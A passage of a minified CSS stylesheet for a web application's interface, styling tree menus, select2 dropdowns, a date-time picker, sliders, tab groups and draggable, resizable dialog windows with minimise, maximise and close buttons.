.ztree.group-list-tree .hover .sub-menu{display:inline-block;color:#666;}.form-box .ztree.group-list-tree .curSelectedNode .sub-menu,.form-box .ztree.group-list-tree .hover.curSelectedNode .sub-menu{display:inline-block;color:#fff;}.form-box-title-left .form-row .setting-title{text-align:left;}body .colorpicker{z-index:99999;}body .dialog-plugin-config.dialog-no-title .aui-outer{box-shadow:0 6px 40px 0 rgba(16,17,18,0.3);border:1px solid #ccc !important;border-radius:4px;overflow:hidden;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close{color:#bbb;color:rgba(0,0,0,0.2);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active{background:rgba(0,0,0,0.12);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active.aui-close{color:#fff;background:#e81123;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons{padding-right:20px;height:40px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons button{margin-top:5px;margin-left:20px;padding:0 2em;height:30px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset{background:none;border:none;box-shadow:none;padding:0px 10px;color:#bbb;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset:hover{color:#2196F3;background:#eaf5ff;}div.xdsoft_datetimepicker{border-top:2px solid #39f;padding:0;height:250px;color:#666;}div.xdsoft_datetimepicker .xdsoft_label,div.xdsoft_datetimepicker .xdsoft_month{text-align:center;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_label:hover,div.xdsoft_datetimepicker .xdsoft_month:hover{text-decoration:none;background:#e6f2ff;}div.xdsoft_datetimepicker .xdsoft_label:hover span,div.xdsoft_datetimepicker .xdsoft_month:hover span{color:#20a0ff;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select{box-shadow:0px 2px 10px rgba(0,0,0,0.2);border:1px solid rgba(0,0,0,0.1);max-height:300px;height:200px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_monthselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_monthselect{right:0px;width:90px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_yearselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_yearselect{right:0px;width:56px;}div.xdsoft_datetimepicker .xdsoft_scrollbar >.xdsoft_scroller{background:rgba(0,0,0,0.3) !important;}div.xdsoft_datetimepicker .xdsoft_calendar td,div.xdsoft_datetimepicker .xdsoft_calendar th{height:30px;text-align:center;background:none;border:none;}div.xdsoft_datetimepicker .xdsoft_calendar td div,div.xdsoft_datetimepicker .xdsoft_calendar th div{padding:0;}div.xdsoft_datetimepicker .xdsoft_calendar th{background:#eee;color:#444;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_datepicker{width:220px;margin-right:10px;}div.xdsoft_datetimepicker .xdsoft_datepicker.active+.xdsoft_timepicker{margin:0;}div.xdsoft_datetimepicker .xdsoft_timepicker{width:70px;border-left:1px solid #ddd;background:#fbfdff;margin:0;margin-left:-1px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_prev,div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_next{margin-left:20px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box{border:none;height:203px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box >div >div{background:none;border:none;}span.select2-container--default .select2-dropdown,span.select2-container--classic .select2-dropdown{box-shadow:0 2px 10px rgba(0,0,0,0.2);border:1px solid #ccc;overflow:hidden;}span.select2-container--default .select2-dropdown .select2-search__field,span.select2-container--classic .select2-dropdown .select2-search__field{border:1px solid #ccc;}span.select2-container--default .select2-selection--multiple,span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--multiple,span.select2-container--classic .select2-selection--single{border:1px solid #ccc;border-radius:4px;outline:none;min-height:32px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice,span.select2-container--default .select2-selection--single .select2-selection__choice,span.select2-container--classic .select2-selection--multiple .select2-selection__choice,span.select2-container--classic .select2-selection--single .select2-selection__choice{background-color:#edf5ff;color:#3a96ff;border-color:#badaff;height:24px;line-height:22px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove{float:right;font-size:15px;color:#3a96ff;width:20px;height:22px;line-height:18px;text-align:center;margin-right:-2px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover{color:#0063d3;}span.select2-container--default.select2-container--focus .select2-selection--multiple,span.select2-container--default.select2-container--focus .select2-selection--single,span.select2-container--classic.select2-container--focus .select2-selection--multiple,span.select2-container--classic.select2-container--focus .select2-selection--single{border:1px solid #3a96ff;}span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--single{background:#f8f8f8 url("../../../images/common//bg.gif") 0px -10px repeat-x;}span.select2-container--default .select2-selection--single .select2-selection__arrow,span.select2-container--classic .select2-selection--single .select2-selection__arrow{height:30px;width:26px;}span.select2-container--default .select2-selection--multiple ul.select2-selection__rendered:after,span.select2-container--classic .select2-selection--multiple ul.select2-selection__rendered:after{content:"";width:23px;height:50%;display:block;color:#aaa;position:absolute;right:1px;top:50%;margin-top:-7px;text-align:center;font-family:FontAwesome;}span.select2-container--default .select2-selection--multiple .select2-search--inline,span.select2-container--classic .select2-selection--multiple .select2-search--inline{height:29px;line-height:23px;}span.select2-container--default .select2-results.group-list-content>.select2-results__options,span.select2-container--classic .select2-results.group-list-content>.select2-results__options{z-index:100;width:100%;height:250px;max-height:250px;}span.select2-container--default .select2-results__option,span.select2-container--classic .select2-results__option{position:relative;}span.select2-container--default .select2-search--inline .select2-search__field,span.select2-container--classic .select2-search--inline .select2-search__field{padding-top:1px;}span.select2-container--default .select2-results__option[aria-selected=true],span.select2-container--default .select2-results__option[aria-selected=true].select2-results__option--highlighted,span.select2-container--classic .select2-results__option[aria-selected=true],span.select2-container--classic .select2-results__option[aria-selected=true].select2-results__option--highlighted{background:#edf5ff;color:#3a96ff;}span.select2-container--default .select2-results__option[aria-selected=true]:after,span.select2-container--classic .select2-results__option[aria-selected=true]:after{content:"\f00c";color:#3a96ff;position:absolute;right:10px;font-size:14px;font-family:FontAwesome;}span.select2-container--default .select2-results__option--highlighted[aria-selected],span.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#eee;color:#444;}span.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,span.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:1px solid transparent;}span.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,span.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:1px solid transparent;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--below,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--below{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:-1px;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--above,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--above{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:1px;box-shadow:0 -2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default.select2-container--open .select2-selection--multiple,span.select2-container--default.select2-container--open .select2-selection--single,span.select2-container--classic.select2-container--open .select2-selection--multiple,span.select2-container--classic.select2-container--open .select2-selection--single{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default .ztree,span.select2-container--classic .ztree{padding:0;}span.select2-container--default .ztree li a,span.select2-container--classic .ztree li a{padding-left:0;height:26px;line-height:26px;border:none;margin:0;border-radius:0;}span.select2-container--default .ztree li a.this,span.select2-container--classic .ztree li a.this{background:#edf5ff;border:none;height:26px;line-height:26px;}span.select2-container--default .ztree li a.this:hover,span.select2-container--classic .ztree li a.this:hover{color:#3a96ff;}span.select2-container--default .ztree li a:hover,span.select2-container--classic .ztree li a:hover{border:none;margin:0;border-radius:0;color:#3a96ff;}span.select2-container--default .ztree .check-icon,span.select2-container--classic .ztree .check-icon{float:right;color:#fff;font-size:12px;text-align:center;width:15px;height:15px;line-height:15px;padding:0;margin-top:5px;margin-right:5px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;transition:all .1s ease-in-out;}span.select2-container--default .ztree .check-icon:before,span.select2-container--classic .ztree .check-icon:before{content:"\f";}span.select2-container--default .ztree a.this .check-icon:before,span.select2-container--classic .ztree a.this .check-icon:before{content:"\f00c";color:#3a96ff;}body .select2-container{width:270px;margin-right:10px;}.tab-group{text-align:center;margin-bottom:-12px;position:relative;z-index:999;}.tab-group .tab-item{background:#fff;text-align:left;display:inline-block;margin-left:-5px;border:1px solid #ccc;border-bottom-color:#a6a6a6;border-right-color:#b8b8b8;}.tab-group .tab-item:hover{background:#e6e6e6;}.tab-group .tab-item:first-child{border-top-left-radius:3px;border-bottom-left-radius:3px;}.tab-group .tab-item:last-child{border-top-right-radius:3px;border-bottom-right-radius:3px;}.tab-group .tab-item a{text-decoration:none;color:#444;padding:0 15px;height:24px;display:inline-block;line-height:24px;}.tab-group .tab-item.active a{color:#fff;}.tab-group .tab-item.active,.tab-group .tab-item.active:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#6eb4f7', endColorstr='#1a82fb');background-image:-webkit-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-moz-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-o-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-ms-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);-pie-background:linear-gradient(to to bottom,#6eb4f7 0,#1a82fb 100%);color:#fff;z-index:10;border-color:#3f87dc;border-top-color:#4396e6;border-color:#388df8 #388df8 #0866dc transparent;}.tab-group .tab-item.active:hover,.tab-group .tab-item.active:active{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#3e9bf4', endColorstr='#0469de');background-image:-webkit-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-moz-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-o-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-ms-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);-pie-background:linear-gradient(to to bottom,#3e9bf4 0,#0469de 100%);}.tab-group .tab-item:last-child.active,.tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .slider .slider-track{background:#ddd;box-shadow:none;}body .slider.slider-horizontal .slider-track{height:6px;}body .slider .slider-selection{transition:background-color .3s ease;background:#2196f3;box-shadow:none;}body .slider .slider-handle{margin-left:-7px;margin-top:-6px;width:14px;height:14px;cursor:pointer;border-radius:50%;border:2px solid #88c7f4;background:#fff;transition:border-color .3s ease, transform .3s cubic-bezier(.18,.89,.32,1.28);}body .slider .slider-handle.round:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}body .slider .tooltip{transition:all 0.168s cubic-bezier(0,0.84,0.58,1);}body .slider .tooltip.top{margin-top:-43px;}body .slider .tooltip.bottom{margin-top:20px;}body .slider .tooltip.top .tooltip-arrow{border-top-color:rgba(0,0,0,0.7);}body .slider .tooltip.bottom .tooltip-arrow{border-bottom-color:rgba(0,0,0,0.7);}body .slider .tooltip-inner{background-color:rgba(0,0,0,0.7);box-shadow:0 1px 5px rgba(0,0,0,0.2);padding:8px 15px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .aui-outer .aui-buttons{box-shadow:0 0 20px #ddd;border-top:1px solid #eee;height:45px;padding-top:5px;border-top:none;background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{left:130px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{position:absolute;left:0;padding:0;width:140px;height:100%;padding-top:20px;z-index:99999;background:#f5f7fa;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{display:block;border:none;background:none;border-radius:0;font-size:14px;-webkit-transition:0.16s all;-moz-transition:0.16s all;-o-transition:0.16s all;-ms-transition:0.16s all;transition:0.16s all;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:hover{background:#eee;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:first-child,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child{border-radius:0;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item a{padding:0 20px 0 15px;display:block;height:40px;line-height:40px;text-align:right;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover a,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header{height:40px;border-bottom:1px solid #adabad;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d3d1d3', endColorstr='#e7e5e7');background-image:-webkit-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-moz-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-o-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-ms-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);-pie-background:linear-gradient(to bottom,#d3d1d3 0%,#e7e5e7 100%);}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:20px;font-size:12px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title img,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title .x-item-file{height:22px;width:22px;top:8px;margin-right:4px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row .setting-title{text-align:right;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.form-userSelect .setting-content{background:#f4f4f4;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.error .setting-content{background:#ffefed;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body{background:#eee;border:1px solid #e3e3e3;margin:20px;top:60px;bottom:30px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body .line,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body hr{border-color:#ddd;}body .dialog-plugin-config.dialog-form-style-mac .tab-group{position:absolute;margin-top:25px;width:100%;z-index:999;}body .dialog-plugin-config.dialog-form-style-mac .aui-content{background:#f9f9f9;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons{padding-right:20px;height:30px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);background:#f9f9f9;border:none;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons button{margin-top:1px;margin-left:20px;padding:0 2em;height:25px;}.message-box{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.message-box .content{padding:10px 30px;line-height:20px;width:auto;}.aui-outer{text-align:left;position:relative;}.aui-mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui-loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui-loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui-border,table.aui-dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui-nw,.aui-n,.aui-ne,.aui-w,.aui-c,.aui-e,.aui-sw,.aui-s,.aui-se,.aui-header,.aui-td-icon,.aui-main,.aui-footer{padding:0;}.aui-header,.aui-buttons button{font:12px/1.11;}.aui-title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui-title img,.aui-title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui-title img:hover,.aui-title .x-item-file:hover{transform:scale(1.1,1.1);}.aui-state-no-title .aui-title{display:none;}.aui-main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui-content{text-align:left;color:#666;border:none 0;}.aui-content{width:100%;height:100%;}.aui-content.aui-state-full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui-icon{vertical-align:middle;background:#fff;}.aui-icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui-buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui-buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui-buttons button:focus{outline:none 0;}.aui-buttons button:hover{background:#c4c4c4;}.aui-buttons button:active{background:#777777;}.aui-buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui-buttons button.aui-state-highlight{color:#FFF;background:#63acff;}.aui-buttons button.aui-state-highlight:hover{color:#FFF;background:#96c7ff;}.aui-buttons button.aui-state-highlight:active{background:#0076fc;}.aui-buttons button.disable,.aui-buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui-outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui-state-lock .aui-nw,.aui-state-lock .aui-n,.aui-state-lock .aui-ne,.aui-state-lock .aui-w,.aui-state-lock .aui-e,.aui-state-lock .aui-sw,.aui-state-lock .aui-s,.aui-state-lock .aui-se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui-title-bar{position:relative;height:100%;}.aui-title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui-state-focus .aui-mask{display:none;}.aui-state-focus .aui-outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui-state-focus .aui-title{background-color:#63acff;}.aui-state-drag .aui-title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui-min,.aui-max,.aui-close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui-min:hover,.aui-max:hover,.aui-close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui-close:hover{background:#cc0000;}.aui-min{right:82px;content:"\f068";}.aui-max{right:43px;content:"\f065";}.aui-close{right:5px;content:"\f00d";}.aui-min:before{content:"\f068";}.aui-max:before{content:"\f065";}.aui-close:before{content:"\f00d";}.aui-max,.aui-min{display:none;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-se{width:5px;height:5px;}.aui-state-no-title .aui-title-bar{bottom:0;_bottom:0;_margin-top:0;}.aui-state-no-title .aui-outer{box-shadow:none !important;border:none !important;}.aui-state-no-title .aui-inner{border:1px solid #aaa;}.aui-state-no-title .tips{padding:15px;padding-left:10px;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-n,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-w,.aui-state-no-title .aui-e,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-s,.aui-state-no-title .aui-se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui-state-no-title .aui-close,.aui-state-no-title .aui-max,.aui-state-no-title .aui-min{display:none;font-size:1em;}.dialog-max .aui-nw,.dialog-max .aui-ne,.dialog-max .aui-sw,.dialog-max .aui-se,.dialog-max .aui-w,.dialog-max .aui-e{width:0px;}.dialog-max .aui-sw,.dialog-max .aui-n,.dialog-max .aui-se{height:0px;}.dialog-max .aui-outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:999999;display:block;}.dialog-can-resize .resize-top{cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui-min,.dialog-can-resize .aui-max{display:block;}.dialog-min-size{width:250px !important;height:30px !important;}.dialog-min-size.dialog-no-title .aui-title,.dialog-min-size .aui-title{opacity:1 !important;}.dialog-min-size .aui-outer{width:250px;}.dialog-min-size .aui-header{height:30px;}.dialog-min-size .aui-title{text-align:left;padding-left:10px;}.dialog-min-size .aui-main,.dialog-min-size .aui-footer{display:none;}.dialog-min-size .resize-handle{display:none;}.dialog-no-title .aui-title-bar{position:absolute;z-index:99999;width:100%;height:30px;top:0;}.dialog-no-title .aui-title{opacity:0.01 !important;filter:alpha(opacity=1) !important;}.dialog-no-title .aui-inner{border:none;}.dialog-no-title .aui-nw,.dialog-no-title .aui-n,.dialog-no-title .aui-ne,.dialog-no-title .aui-w,.dialog-no-title .aui-e,.dialog-no-title .aui-sw,.dialog-no-title .aui-s,.dialog-no-title .aui-se{display:none;}.dialog-no-title .aui-outer .aui-min{right:80px;}.dialog-no-title .aui-outer .aui-min:before{content:"\f068" !important;}.dialog-no-title .aui-outer .aui-max{right:40px;}.dialog-no-title .aui-outer .aui-max:before{content:"\f065" !important;}.dialog-no-title .aui-outer .aui-close{right:0px;}.dialog-no-title .aui-outer .aui-close:before{content:"\f00d" !important;}.dialog-no-title .aui-outer .aui-min,.dialog-no-title .aui-outer .aui-max,.dialog-no-title .aui-outer .aui-close{display:block;position:absolute;text-decoration:none;outline:none;font-size:1.25em;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;color:#fff;top:0px;cursor:pointer;height:30px;line-height:30px;text-align:center;background-color:transparent;width:40px;font-family:FontAwesome;border:none;background-image:none;border-radius:0;}.dialog-no-title .aui-outer .aui-min:hover,.dialog-no-title .aui-outer .aui-max:hover,.dialog-no-title .aui-outer .aui-close:hover{color:#fff;border:none;box-shadow:none;background:#41acf8;background:rgba(0,0,0,0.4);}.dialog-no-title .aui-outer .aui-close:hover{background:#e81123;background:rgba(232,17,35,0.8);}.dialog-no-title.header-bg .aui-content .header{height:90px;background-color:#008def;background-image:linear-gradient(to bottom,#084998 0,#00a9fb 100%);color:#fff;position:relative;}.dialog-no-title.header-bg .aui-content .header .bg{background:url("../../../images/common/banner/box.png") 180px -220px no-repeat;width:100%;height:100%;position:absolute;opacity:0.7;}.dialog-no-title.dialog-max .aui-outer .aui-max{right:40px;}.dialog-no-title.dialog-max .aui-outer .aui-max:before{content:"\f066" !important;}body div.dialog-simple .aui-title-bar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui-border{border:none;overflow:auto;}body div.dialog-simple .aui-outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui-inner{border:none;background:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-n,body div.dialog-simple .aui-ne,body div.dialog-simple .aui-w,body div.dialog-simple .aui-e,body div.dialog-simple .aui-sw,body div.dialog-simple .aui-s,body div.dialog-simple .aui-se{background:none;}body div.dialog-simple .aui-title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui-min,body div.dialog-simple .aui-max,body div.dialog-simple .aui-close{border:none;top:5px;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui-min:hover,body div.dialog-simple .aui-max:hover,body div.dialog-simple 